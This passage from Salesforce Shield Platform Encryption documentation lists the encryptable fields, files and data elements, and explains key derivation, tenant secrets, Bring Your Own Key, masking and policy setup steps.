- Subject (encrypts Event—Subject and Task—Subject)

Note: Selecting an Activity field encrypts that fields on standalone events, event series (Lightning Experience), and recurring events (Salesforce Classic).

Cases
- Description
- Subject

Case Comments
- Body (including internal comments)

Chat Transcript
- Body
- Supervisor Transcript Body

Note: Before you can apply encryption to Chat fields, add the Supervisor Transcript Body field to the LiveChatTranscript record home layout.

Contacts
- Assistant
- Assistant Phone
- Description
- Email
- Fax
• Home Phone
• Mailing Address (encrypts Mailing Street and Mailing City)
• Mobile
• Name (encrypts First Name, Middle Name, and Last Name)
• Other Address (encrypts Other Street and Other City)
• Other Phone
• Phone
• Title

Contracts
• Billing Address (encrypts Billing Street and Billing City)
• Shipping Address (encrypts Shipping Street and Shipping City)

Conversation Entries
• Actor Name
• Message

Custom Objects
• Name

Email Messages
• From Name
• From Address
• To Address
• CC Address
• BCC Address
• Subject
• Text Body
• HTML Body
• Headers

If you use Email-to-Case, these fields are also encrypted on the customer emails that generate cases.

Email Message Relations
• Relation Address

Health Cloud

Note: Health Cloud standard objects and fields are available to users who have the Health Cloud Platform permission set license.

Care Request
• Admission Notes
• Disposition Notes
• Facility Record Number
• First Reviewer Notes
• Medical Director Notes
• Member First Name
- Member Last Name
- Member ID
- Member Group Number
- Resolution Notes
- Root Cause Notes

Care Request Drug
- Prescription Number

Coverage Benefit
- Benefit Notes
- Coinsurance Notes
- Copay Notes
- Deductible Notes
- Lifetime Maximum Notes
- Out-of-Pocket Notes
- Source System Identifier

Coverage Benefit Item
- Coverage Level
- Notes
- Service Type
- Service Type Code
- Source System Identifier

Member Plan
- Affiliation
- Group Number
- Issuer Number
- Member Number
- Primary Care Physician
- Source System Identifier

Purchaser Plan
- Plan Number
- Service Type
- Source System
- Source System Identifier

Purchaser Plan Association
- Purchaser Plan Association ID
- Status
- Source System
- Source System Identifier
Note: Deterministic encryption is not available for long text fields. This includes any field with "Notes" in its name.

Individual
- Name

Note: The Individual object is available only if you enable the org setting to make data protection details available in records.

Insurance for Financial Services Cloud

Note: Insurance for Financial Services Cloud standard objects and fields are available to users who have Financial Services Cloud enabled.

Claim
- Claim Number
- Incident Site
- Report Number

Customer Property
- Lien Holder Name

Insurance Policy
- Policy Number
- Servicing Office
- Universal Policy Number

Person Life Event
- Address
- Event Name

Leads
- Address (Encrypts Street and City)
- Company
- Description
- Email
- Fax
- Mobile
- Name (Encrypts First Name, Middle Name, and Last Name)
- Phone
- Title
- Website

List Emails
- From Name
- From Address
- Reply To Address

List Email Sent Results
- Email
Messaging End User
- Profile Picture URL

Opportunities
- Description
- Next Step
- Opportunity Name

Service Appointments
- Address (Encrypts Street and City)
- Description
- Subject

Work Orders
- Address (Encrypts Street and City)
- Description
- Subject

Work Order Line Items
- Address (Encrypts Street and City)
- Description
- Subject

Which Custom Fields Can I Encrypt?
You can apply Shield Platform Encryption to the contents of fields that belong to one of these custom field types, on either standard or custom objects.
- Email
- Phone
- Text
- Text Area
- Text Area (Long)
- Text Area (Rich)
- URL
- Date
- Date/Time

After a custom field is encrypted, you can’t change the field type. For custom phone and email fields, you also can’t change the field format.

**Important:** When you encrypt the Name field, enhanced lookups are automatically enabled. Enhanced lookups improve the user’s experience by searching only through records that have been looked up recently, and not all existing records. Switching to enhanced lookups is a one-way change. You can’t go back to standard lookups, even if you disable encryption.

You can’t use Schema Builder to create an encrypted custom field.

To encrypt custom fields that have the Unique or External ID attribute, you can only use deterministic encryption.

Some custom fields can’t be encrypted:
Which Files Are Encrypted?

When you enable Shield Platform Encryption for files and attachments, all files and attachments that can be encrypted are encrypted. The body of each file or attachment is encrypted when it’s uploaded.

These kinds of files are encrypted when you enable file encryption:

- Files attached to email
- Files attached to feeds
- Files attached to records
- Images included in Rich Text Area fields
- Files on the Content, Libraries, and Files tabs (Salesforce Files, including file previews, and Salesforce CRM Content files)
- Files managed with Salesforce Files Sync and stored in Salesforce
- Files attached to Chatter posts, comments, and the sidebar
- Notes body text using the new Notes tool
- Files attached to Knowledge articles
- Quote PDFs

These file types and attachments aren’t encrypted:

- Chatter group photos
- Chatter profile photos
- Documents
- Notes previews in the new Notes tool
- Notes and Notes previews in the old Notes tool

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
What Other Data Elements Can I Encrypt?

In addition to standard and custom field data and files, Shield Platform Encryption supports other Salesforce data. You can encrypt Einstein Analytics data sets, Chatter fields, fields in the Salesforce B2B Commerce managed package, and more.

Change Data Capture

Change Data Capture provides near-real-time changes of Salesforce records, enabling you to synchronize corresponding records in an external data store. If a Salesforce record field is encrypted with Shield Platform Encryption, changes to encrypted field values generate change events. You can encrypt these change events by selecting Encrypt and deliver Change Data Capture events on the Encryption Policy page in Setup.

Chatter Feed

Encrypted Chatter data includes data in feed posts and comments, questions and answers, link names and URLs, poll choices and questions, and content from your custom rich publisher apps.

The revision history of encrypted Chatter fields is also encrypted. If you edit or update an encrypted Chatter field, the old information remains encrypted.

Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision objects. The database fields on these objects that house encrypted data are visible from the Encryption Statistics page in Setup.

- ChatterExtensionInstance—Payload
- ChatterExtensionInstance—PayloadVersion
- ChatterExtensionInstance—TextRepresentation
- ChatterExtensionInstance—ThumbnailUrl
- ChatterExtensionInstance—Title
- FeedAttachment—Title
- FeedAttachment—Value
- FeedComment—RawCommentBody
- FeedPollChoice—ChoiceBody
- FeedPost—LinkUrl
- FeedPost—RawBody
- FeedPost—Title
- FeedRevision—RawValue

Some fields listed in the Encryption Statistics aren’t visible in the UI by the same name. However, they store all encrypted data that’s visible in the UI.

**Note:** Enabling Encryption for Chatter encrypts all eligible Chatter fields. You can’t choose to encrypt only some Chatter fields.

Einstein Analytics

Encrypts new Einstein Analytics datasets.

**Note:** Data that was in Einstein Analytics before encryption was enabled is not encrypted. If existing data is imported from Salesforce objects through the dataflow, the data becomes encrypted on the next dataflow run. Other existing data (such as CSV data) must be reimported to become encrypted. Although existing data is not encrypted, it is still accessible and fully functional in its unencrypted state when encryption is enabled.
Salesforce B2B Commerce

With Shield Platform Encryption for B2B Commerce (version 4.10 and later), you can add an extra layer of security to the data your customers enter in Salesforce B2B Commerce ecommerce storefronts. For a list of the supported fields, see Shield Platform Encryption for B2B Commerce.

Search Indexes

When you encrypt search indexes, each file created to store search results is encrypted.

How Shield Platform Encryption Works

Shield Platform Encryption relies on a unique tenant secret that you control and a master secret that’s maintained by Salesforce. By default, we combine these secrets to create your unique data encryption key. You can also supply your own final data encryption key. We use your data encryption key to encrypt data that your users put into Salesforce, and to decrypt data when your authorized users need it.

Encrypting files, fields, and attachments has no effect on your org’s storage limits.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

IN THIS SECTION:

Shield Platform Encryption Terminology

Encryption has its own specialized vocabulary. To get the most out of your Shield Platform Encryption features, it’s a good idea to familiarize yourself with the key terms, such as hardware security module, key rotation, and master secret.

What’s the Difference Between Classic Encryption and Shield Platform Encryption?

With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along with some custom fields and many kinds of files. Shield Platform Encryption also supports person accounts, cases, search, approval processes, and other key Salesforce features. Classic encryption lets you protect only a special type of custom text field, which you create for that purpose.

Behind the Scenes: The Shield Platform Encryption Process

When users submit data, the application server looks for the org-specific data encryption key in its cache. If it isn’t there, the application server gets the encrypted tenant secret from the database and asks the key derivation server to derive the key. The Shield Platform Encryption service then encrypts the data on the application server. If customers opt out of key derivation or use the Cache-Only Key Service, the encryption service applies the customer-supplied data encryption key directly to customer data.

Behind the Scenes: The Search Index Encryption Process

The Salesforce search engine is built on the open-source enterprise search platform software Apache Solr. The search index, which stores tokens of record data with links back to the original records stored in the database, is housed within Solr. Partitions divide the search index into segments to allow Salesforce to scale operations. Apache Lucene is used for its core library.

How Does Shield Platform Encryption Work in a Sandbox?

Refreshing a sandbox from a production org creates an exact copy of the production org. If Shield Platform Encryption is enabled on the production org, all encryption settings are copied, including tenant secrets created in production.
Why Bring Your Own Key?
Shield Platform Encryption’s Bring Your Own Key (BYOK) feature gives you an extra layer of protection in the event of unauthorized access to critical data. It may also help you meet the regulatory requirements that come with handling financial data, such as credit card numbers; health data, such as patient care records or insurance information; or other kinds of private data, such as social security numbers, addresses, and phone numbers. Once you’ve set up your key material, you can use Shield Platform Encryption as you normally would to encrypt data at rest in your Salesforce org.

Why Isn’t My Encrypted Data Masked?
If the Shield Platform Encryption service isn’t available, data is masked in some types of encrypted fields. This is to help you troubleshoot encryption key issues, not to control user access to data. If you have data that you don’t want some users to see, revisit those users’ field-level security settings, record access settings, and object permissions.

How Do I Deploy Shield Platform Encryption?
When you deploy Shield Platform Encryption to your org with a tool such as Salesforce Extensions for Visual Studio Code, Migration Tool, or Workbench, the Encrypted field attribute persists. However, if you deploy to orgs with different encryption settings, the effect depends on whether Shield Platform Encryption is enabled in the target org.

Shield Platform Encryption Terminology
Encryption has its own specialized vocabulary. To get the most out of your Shield Platform Encryption features, it’s a good idea to familiarize yourself with the key terms, such as hardware security module, key rotation, and master secret.

Data Encryption
The process of applying a cryptographic function to data that results in ciphertext. The platform encryption process uses symmetric key encryption and a 256-bit Advanced Encryption Standard (AES) algorithm using CBC mode, and a randomized, 128-bit initialization vector (IV) to encrypt field-level data and files stored on the Salesforce Platform. Both data encryption and decryption occur on the application servers.

Data Encryption Keys
Shield Platform Encryption uses data encryption keys to encrypt and decrypt data. Data encryption keys are derived on the Shield Key Management Service (KMS) using keying material split between a per-release master secret and an org-specific tenant secret stored encrypted in the database. The 256-bit derived keys exist in memory until evicted from the cache.

Encrypted Data at Rest
Data that is encrypted when persisted on disk. Salesforce supports encryption for fields stored in the database; documents stored in files, content, libraries, and attachments; search index files; Einstein Analytics datasets; and archived data.

Encryption Key Management
Refers to all aspects of key management, such as key generation, processes, and storage. Administrators or users who have the “Manage Encryption Keys” permission can work with Shield Platform Encryption key material.

Hardware Security Module (HSM)
Used to provide cryptography processing and key management for authentication. Shield Platform Encryption uses HSMs to generate and store secret material, and run the function that derives data encryption keys used by the encryption service to encrypt and decrypt data.

Initialization Vector (IV)
A random sequence used with a key to encrypt data.
**Shield Key Management Service (KMS)**
Generates, wraps, unwraps, derives, and secures key material. When deriving key material, the Shield KMS uses a pseudorandom number generator and input such as a password to derive keys. Shield Platform Encryption uses PBKDF2 (Password-based Key Derivation Function 2) with HMAC-SHA-256.

**Key Rotation**
The process of generating a new tenant secret and archiving the previously active one. Active tenant secrets are used for both encryption and decryption. Archived ones are used only for decryption until all data has been re-encrypted using the new, active tenant secret.

**Master HSM**
The master HSM consists of a USB device used to generate secure, random secrets each Salesforce release. The master HSM is “air-gapped” from Salesforce’s production network and stored securely in a bank safety deposit box.

**Master Secret**
Used with the tenant secret and key derivation function to generate a derived data encryption key (customers can opt out of key derivation). The master secret is rotated each release by Salesforce and encrypted using the per-release master wrapping key, which is in turn encrypted with the Shield KMS’s public key so it can be stored encrypted on the file system. Only HSMs can decrypt it. No Salesforce employees have access to these keys in cleartext.

**Master Wrapping Key**
A symmetric key is derived and used as a master wrapping key, also known as a key wrapping key, encrypting all the per-release keys and secrets bundle.

**Tenant Secret**
An organization-specific secret used in conjunction with the master secret and key derivation function to generate a derived data encryption key. When an organization administrator rotates a key, a new tenant secret is generated. To access the tenant secret via the API, refer to the TenantSecret object. No Salesforce employees have access to these keys in cleartext.

---

**What’s the Difference Between Classic Encryption and Shield Platform Encryption?**

With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along with some custom fields and many kinds of files. Shield Platform Encryption also supports person accounts, cases, search, approval processes, and other key Salesforce features. Classic encryption lets you protect only a special type of custom text field, which you create for that purpose.

<table>
<thead>
<tr>
<th>Feature</th>
<th>Classic Encryption</th>
<th>Platform Encryption</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pricing</td>
<td>Included in base user license</td>
<td>Additional fee applies</td>
</tr>
<tr>
<td>Encryption at Rest</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Native Solution (No Hardware or Software Required)</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Encryption Algorithm</td>
<td>128-bit Advanced Encryption Standard (AES)</td>
<td>256-bit Advanced Encryption Standard (AES)</td>
</tr>
<tr>
<td>HSM-based Key Derivation</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Manage Encryption Keys Permission</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Generate, Export, Import, and Destroy Keys</td>
<td>✅</td>
<td>✅</td>
</tr>
</tbody>
</table>
## Platform Encryption

<table>
<thead>
<tr>
<th>Feature</th>
<th>Classic Encryption</th>
<th>Platform Encryption</th>
</tr>
</thead>
<tbody>
<tr>
<td>PCI-DSS L1 Compliance</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Masking</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Mask Types and Characters</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>View Encrypted Data Permission Required to Read Encrypted Field Values</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Encrypted Standard Fields</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>Encrypted Attachments, Files, and Content</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>Encrypted Custom Fields</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>Encrypt Existing Fields for Supported Custom Field Types</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>Search (UI, Partial Search, Lookups, Certain SOSL Queries)</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>API Access</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Available in Workflow Rules and Workflow Field Updates</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>Available in Approval Process Entry Criteria and Approval Step Criteria</td>
<td></td>
<td>✔</td>
</tr>
</tbody>
</table>

SEE ALSO:

- [Classic Encryption for Custom Fields](#)

## Behind the Scenes: The Shield Platform Encryption Process

When users submit data, the application server looks for the org-specific data encryption key in its cache. If it isn’t there, the application server gets the encrypted tenant secret from the database and asks the key derivation server to derive the key. The Shield Platform Encryption service then encrypts the data on the application server. If customers opt out of key derivation or use the Cache-Only Key Service, the encryption service applies the customer-supplied data encryption key directly to customer data.

Salesforce securely generates the master and tenant secrets by using Hardware Security Modules (HSMs). The unique key is derived by using P8KDF2, a Key Derivation Function (KDF), with the master and tenant secrets as inputs.
1. When a Salesforce user saves encrypted data, the runtime engine determines from metadata whether to encrypt the field, file, or attachment before storing it in the database.

2. If so, the encryption service checks for the matching data encryption key in cached memory.

3. The encryption service determines whether the key exists.
   a. If so, the encryption service retrieves the key.
   b. If not, the service sends a derivation request to a key derivation server and returns it to the encryption service running on the Salesforce Platform.

4. After retrieving or deriving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using 256-bit AES encryption.

5. The ciphertext is saved in the database or file storage. The IV and corresponding ID of the tenant secret used to derive the data encryption key are saved in the database.

Salesforce generates a new master secret at the start of each release.
Behind the Scenes: The Search Index Encryption Process

The Salesforce search engine is built on the open-source enterprise search platform software Apache Solr. The search index, which stores tokens of record data with links back to the original records stored in the database, is housed within Solr. Partitions divide the search index into segments to allow Salesforce to scale operations. Apache Lucene is used for its core library.

Using Shield Platform Encryption’s HSM-based key derivation architecture, metadata, and configurations, Search Index Encryption runs when Shield Platform Encryption is in use. The solution applies strong encryption on an org-specific search index (.fdt, .tim, and .tip file types) using an org-specific AES-256 bit encryption key. The search index is encrypted at the search index segment level, and all search index operations require index blocks to be encrypted in memory.

The only way to access the search index or the key cache is through programmatic APIs.

A Salesforce security administrator can enable Search Index Encryption from Setup. The administrator first creates a tenant secret of the Search Index type, then enables Encryption for Search Indexes. The admin configures their encryption policy by selecting fields and files to encrypt. An org-specific HSM-derived key is derived from the tenant secret on demand. The key material is passed to the search engine’s cache on a secure channel.

The process when a user creates or edits records:

1. The core application determines if the search index segment should be encrypted or not based on metadata.
2. If the search index segment should be encrypted, the encryption service checks for the matching search encryption key ID in the cached memory.
3. The encryption service determines if the key exists in the cache.
   a. If the key exists in the cache, the encryption service uses the key for encryption.
   b. Otherwise, the service sends a request to the core application, which in turn sends an authenticated derivation request to a key derivation server and returns the key to the core application server.
4. After retrieving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using NSS or JCE’s AES-256 implementation.
5. The key ID (identifier of the key being used to encrypt the index segment) and IV are saved in the search index.

The process is similar when a user searches for encrypted data:

1. When a user searches for a term, the term is passed to the search index, along with which Salesforce objects to search.
2. When the search index executes the search, the encryption service opens the relevant segment of the search index in memory and reads the key ID and IV.
3. Steps 3 through 5 of the process when a user creates or edits records are repeated.
4. The search index processes the search and returns the results to the user seamlessly.

If Salesforce admins disable encryption on a field, all index segments that were encrypted are unencrypted and the key ID is set to null. This process can take up to seven days.
How Does Shield Platform Encryption Work in a Sandbox?

Refreshing a sandbox from a production org creates an exact copy of the production org. If Shield Platform Encryption is enabled on the production org, all encryption settings are copied, including tenant secrets created in production.

Once a sandbox is refreshed, tenant secret changes are confined to your current org. This means that when you rotate or destroy a tenant secret on sandbox, it doesn’t affect the production org.

As a best practice, rotate tenant secrets on sandboxes after a refresh. Rotation ensures that production and sandbox use different tenant secrets. Destroying tenant secrets on a sandbox renders encrypted data unusable in cases of partial or full copies.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Why Bring Your Own Key?

Shield Platform Encryption’s Bring Your Own Key (BYOK) feature gives you an extra layer of protection in the event of unauthorized access to critical data. It may also help you meet the regulatory requirements that come with handling financial data, such as credit card numbers; health data, such as patient care records or insurance information; or other kinds of private data, such as social security numbers, addresses, and phone numbers. Once you’ve set up your key material, you can use Shield Platform Encryption as you normally would to encrypt data at rest in your Salesforce org.

Shield Platform Encryption enables Salesforce administrators to manage the lifecycle of their data encryption keys while protecting these keys from unauthorized access. By controlling the lifecycle of your organization’s tenant secrets, you control the lifecycle of the data encryption keys derived from them. Alternatively, you can opt out of key derivation altogether and upload a final data encryption key.

Data encryption keys aren’t stored in Salesforce. Instead, they’re derived from the master secret and tenant secret on demand whenever a key is needed to encrypt or decrypt customer data. The master secret is generated once per release for everyone by a hardware security module (HSM). The tenant secret is unique to your org, and you control when it is generated, activated, revoked, or destroyed.

You have four options for setting up your key material.

- Use the Shield Key Management Service (KMS) to generate your org-specific tenant secret for you.
- Use the infrastructure of your choice, such as an on-premises HSM, to generate and manage your tenant secret outside of Salesforce. Then upload that tenant secret to the Salesforce KMS. This option is popularly known as “Bring Your Own Key,” although the element you’re really bringing is the tenant secret from which the key is derived.
- Opt out of the Shield KMS key derivation process with the Bring Your Own Key service. Use the infrastructure of your choice to create a data encryption key instead of a tenant secret. Then upload this data encryption key to the Shield KMS. When you opt out of derivation on a key-by-key basis, the Shield KMS bypasses the derivation process and uses this key material as your final data encryption key. You can rotate customer-supplied data encryption keys just like you would rotate a customer-supplied tenant secret.
- Generate and store your key material outside of Salesforce using a key service of your choice, and use the Salesforce Cache-Only Key Service to fetch your key material on demand. Your key service transmits your key material over a secure channel that you configure. It’s then encrypted and stored in the cache for immediate encrypt and decrypt operations.
Why Isn’t My Encrypted Data Masked?

If the Shield Platform Encryption service isn’t available, data is masked in some types of encrypted fields. This is to help you troubleshoot encryption key issues, not to control user access to data. If you have data that you don’t want some users to see, revisit those users’ field-level security settings, record access settings, and object permissions.

Encryption prevents outsiders from using your Salesforce data even if they manage to get it. It is not a way to hide data from authenticated users. User permissions are the only way to control data visibility for authenticated users. Encryption at rest is about logs, not permissions.

With Shield Platform Encryption, if a user is authorized to see a given set of data, that user sees that data whether it’s encrypted or not.

- **Authentication** means that making sure only legitimate users can get into your system. For example, a company’s Salesforce org is only for use by active employees of that company. Anyone who is not an employee is not authenticated; that is, they are barred from logging in. If they do somehow get their hands on the data, it’s useless to them because it is encrypted.
- **Authorization** defines which data or features an authenticated user can use. For example, a sales associate can see and use data in the Leads object, but can’t see the regional forecasts, which are intended for sales managers. Both the associate and the manager are properly logged in (authenticated), but their permissions (authorization) are different. That the data is encrypted doesn’t make any difference to them.

In general, data can be masked but not encrypted, or encrypted but not masked. For example, regulators often require that only the last four digits of a credit card number be visible to users. Applications typically mask the rest of the number, meaning they replace the digits with asterisks on the user’s screen. Without encryption, you can still read the digits that are masked if you can get to the database where they are stored.

Masking might not be enough for your credit card numbers. You may or may not want to encrypt them in the database as well. (You probably should.) If you do, authenticated users will still see the same masked values.

In this way, masking and encryption are different solutions for different problems. You mask data to hide it from users who are authenticated but not authorized to see that data. You encrypt data to prevent someone from stealing the data. (Or, more precisely, to make the data useless if someone does steal it.)

The following table shows the fields that use masking. All others don’t.

<table>
<thead>
<tr>
<th>Field Type</th>
<th>Mask</th>
<th>What It Means</th>
</tr>
</thead>
<tbody>
<tr>
<td>Email, Phone, Text, Text Area, Text Area (Long), URL</td>
<td>????</td>
<td>This field is encrypted, and the encryption key has been destroyed.</td>
</tr>
<tr>
<td></td>
<td>!!!!</td>
<td>This service is unavailable right now. For help accessing this service, contact Salesforce.</td>
</tr>
<tr>
<td>Custom Date</td>
<td>08/08/1888</td>
<td>This field is encrypted, and the encryption key has been destroyed.</td>
</tr>
<tr>
<td></td>
<td>01/01/1777</td>
<td>This service is unavailable right now. For help accessing this service, contact Salesforce.</td>
</tr>
<tr>
<td>Custom Date/Time</td>
<td>08/08/1888 12:00 PM</td>
<td>This field is encrypted, and the encryption key has been destroyed.</td>
</tr>
<tr>
<td></td>
<td>01/01/1777 12:00 PM</td>
<td>This service is unavailable right now. For help accessing this service, contact Salesforce.</td>
</tr>
</tbody>
</table>
You can’t enter these masking characters into an encrypted field. For example, if a Date field is encrypted and you enter 07/07/1777, you must enter a different value before it can be saved.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

How Do I Deploy Shield Platform Encryption?

When you deploy Shield Platform Encryption to your org with a tool such as Salesforce Extensions for Visual Studio Code, Migration Tool, or Workbench, the Encrypted field attribute persists. However, if you deploy to orgs with different encryption settings, the effect depends on whether Shield Platform Encryption is enabled in the target org.

Regardless of how you deploy, Salesforce automatically checks to see if the implementation violates Shield Platform Encryption guidelines.

<table>
<thead>
<tr>
<th>Source Organization</th>
<th>Target Organization</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shield Platform Encryption enabled</td>
<td>Shield Platform Encryption enabled</td>
<td>The source Encrypted field attribute indicates enablement</td>
</tr>
<tr>
<td>Shield Platform Encryption enabled</td>
<td>Shield Platform Encryption not enabled</td>
<td>The Encrypted field attribute is ignored</td>
</tr>
<tr>
<td>Shield Platform Encryption not enabled</td>
<td>Shield Platform Encryption enabled</td>
<td>The target Encrypted field attribute indicates enablement</td>
</tr>
</tbody>
</table>

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Set Up Your Encryption Policy

An encryption policy is your plan for encrypting data with Shield Platform Encryption. You can choose how you want to implement it. For example, you can encrypt individual fields and apply different encryption schemes to those fields. Or you can choose to encrypt other data elements such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not the same thing as field-level security or object-level security. Put those controls in place before you implement your encryption policy.

To provide Shield Platform Encryption for your org, contact your Salesforce account executive. They’ll help you provision the correct license so you can create key material and start encrypting data.

Warning: Salesforce recommends testing Shield Platform Encryption in a sandbox org to confirm that your reports, dashboards, processes, and other operations work correctly.

IN THIS SECTION:

1. Which User Permissions Does Shield Platform Encryption Require?
   Assign permissions to your users according to their roles regarding encryption and key management. Some users need permission to select data for encryption, while other users require combinations of permissions to work with certificates or key material. Enable these permissions for user profiles just like you would any other user permission.

EDITIONS


Set Up Your Encryption Policy

Available in both Salesforce Classic and Lightning Experience.
2. **Generate a Tenant Secret with Salesforce**
   Salesforce makes it easy to generate a unique tenant secret from the Setup menu.

3. **Manage Tenant Secrets by Type**
   Tenant secret types allow you to specify which kind of data you want to encrypt with a Shield Platform Encryption tenant secret. You can apply different key rotation cycles or key destruction policies to tenant secrets that encrypt different kinds of data. You can apply a tenant secret to search index files and other data stored in Salesforce.

4. **Encrypt New Data in Standard Fields**
   You can encrypt standard fields on standard objects with Shield Platform Encryption from the Encryption Policy page. For best results, encrypt the least number of fields possible.

5. **Encrypt Fields on Custom Objects and Custom Fields**
   You can encrypt standard fields on custom objects, and custom fields on both standard and custom objects. Shield Platform Encryption also supports custom fields in installed managed packages. Apply encryption to custom fields from the management settings for each object. For best results, encrypt the least number of fields possible. When you add encryption to a field, all new data in that field is encrypted.

6. **Encrypt New Files and Attachments**
   For another layer of data protection, encrypt files and attachments. If Shield Platform Encryption is on, the body of each file or attachment is encrypted when it’s uploaded.

7. **Encrypt Data in Chatter**
   Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that users share in Chatter. You can encrypt data at rest in feed posts and comments, questions and answers, link names and URLs, poll questions and choices, and content from your custom rich publisher apps.

8. **Encrypt Search Index Files**
   Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted in the database. When you search your org, the results are stored in search index files. You can encrypt these search index files with Shield Platform Encryption, adding another layer of security to your data.

9. **Encrypt Einstein Analytics Data**
   To get started with Einstein Analytics Encryption, generate a tenant secret with Shield Platform Encryption. Once you generate an Analytics tenant secret, Einstein Analytics Encryption uses the Shield Platform Encryption key management architecture to encrypt your Einstein Analytics data.

10. **Fix Compatibility Problems**
    When you select fields or files to encrypt with Shield Platform Encryption, Salesforce automatically checks for potential side effects. The validation service then warns you if any existing settings may pose a risk to data access or your normal use of Salesforce. You have some options for how to clear up these problems.

11. **Disable Encryption on Fields**
    At some point, you might need to disable Shield Platform Encryption for fields, files, or both. You can turn field encryption on or off individually, but file encryption is all or nothing.
Which User Permissions Does Shield Platform Encryption Require?

Assign permissions to your users according to their roles regarding encryption and key management. Some users need permission to select data for encryption, while other users require combinations of permissions to work with certificates or key material. Enable these permissions for user profiles just like you would any other user permission.

<table>
<thead>
<tr>
<th>Permission Description</th>
<th>Manage Encryption Keys</th>
<th>Customize Application</th>
<th>View Setup and Configuration</th>
<th>Manage Certificates</th>
</tr>
</thead>
<tbody>
<tr>
<td>View Platform Encryption Setup pages</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Edit Encryption Policy page settings</td>
<td>✓ (Optional)</td>
<td>✓</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Generate, destroy, export, import, and upload tenant secrets and customer-supplied key material</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Query the TenantSecret object via the API</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Edit, upload, and download HSM-protected certificates with the Shield Platform Encryption Bring Your Own Key service</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Enable features on the Advanced Settings page</td>
<td>✓ (for BYOK features)</td>
<td>✓</td>
<td></td>
<td>✓</td>
</tr>
</tbody>
</table>

The Customize Application and Manage Certificates permissions are automatically enabled for users with the System Administrator profile.

Restrict Access to Encryption Policy Settings

You can require admins to also have the Manage Encryption Keys permission to complete encryption policy tasks. These tasks include changing the encryption scheme on fields, enabling and disabling encryption on fields, files, and attachments, and other data elements.

To opt in to this feature, you need the Manage Encryption Keys permission. Then opt in from the Advanced Settings page.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.


You can also enable the Restrict Access to Encryption Policy Settings programmatically. For more information, see PlatformEncryptionSettings in the Metadata API Developer Guide.

This restriction applies to actions taken through the API or from Setup pages, such as the Encryption Policy page or the Object Manager.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Generate a Tenant Secret with Salesforce

Salesforce makes it easy to generate a unique tenant secret from the Setup menu.

Only authorized users can generate tenant secrets from the Platform Encryption page. Ask your Salesforce admin to assign you the Manage Encryption Keys permission.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.

2. In the Choose Tenant Secret Type dropdown list, choose a data type.

3. Click Generate Tenant Secret.

How often you can generate a tenant secret depends on the tenant secret type.

- You can generate tenant secrets for the Data in Salesforce type once every 24 hours in production orgs, and once every 4 hours in Sandbox orgs.
- You can generate tenant secrets for the Search Index type once every 7 days.

Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data it encrypts with an active key.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Manage Tenant Secrets by Type

Tenant secret types allow you to specify which kind of data you want to encrypt with a Shield Platform Encryption tenant secret. You can apply different key rotation cycles or key destruction policies to tenant secrets that encrypt different kinds of data. You can apply a tenant secret to search index files and other data stored in Salesforce.

Tenant secrets are categorized according to the kind of data they encrypt.

**Data in Salesforce**

Encrypts data using the probabilistic encryption scheme, including data in fields, attachments, and files other than search index files.

**Data in Salesforce (Deterministic)**

Encrypts data using the deterministic encryption scheme, including data in fields, attachments, and files other than search index files.

**Search Index**

Encrypts search index files.

**Analytics**

Encrypts Einstein Analytics data.

**Event Bus**

Encrypts data changes and the corresponding Change Data Capture event that contains them.

Note:

- Tenant secrets that were generated or uploaded before the Spring ‘17 release are categorized as the Data in Salesforce type.
- You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data it encrypts with an active key.

1. From Setup, in the Quick Find box, enter *Platform Encryption*, and then select **Key Management**.

2. In the Choose Tenant Secret Type dropdown list, choose a data type.

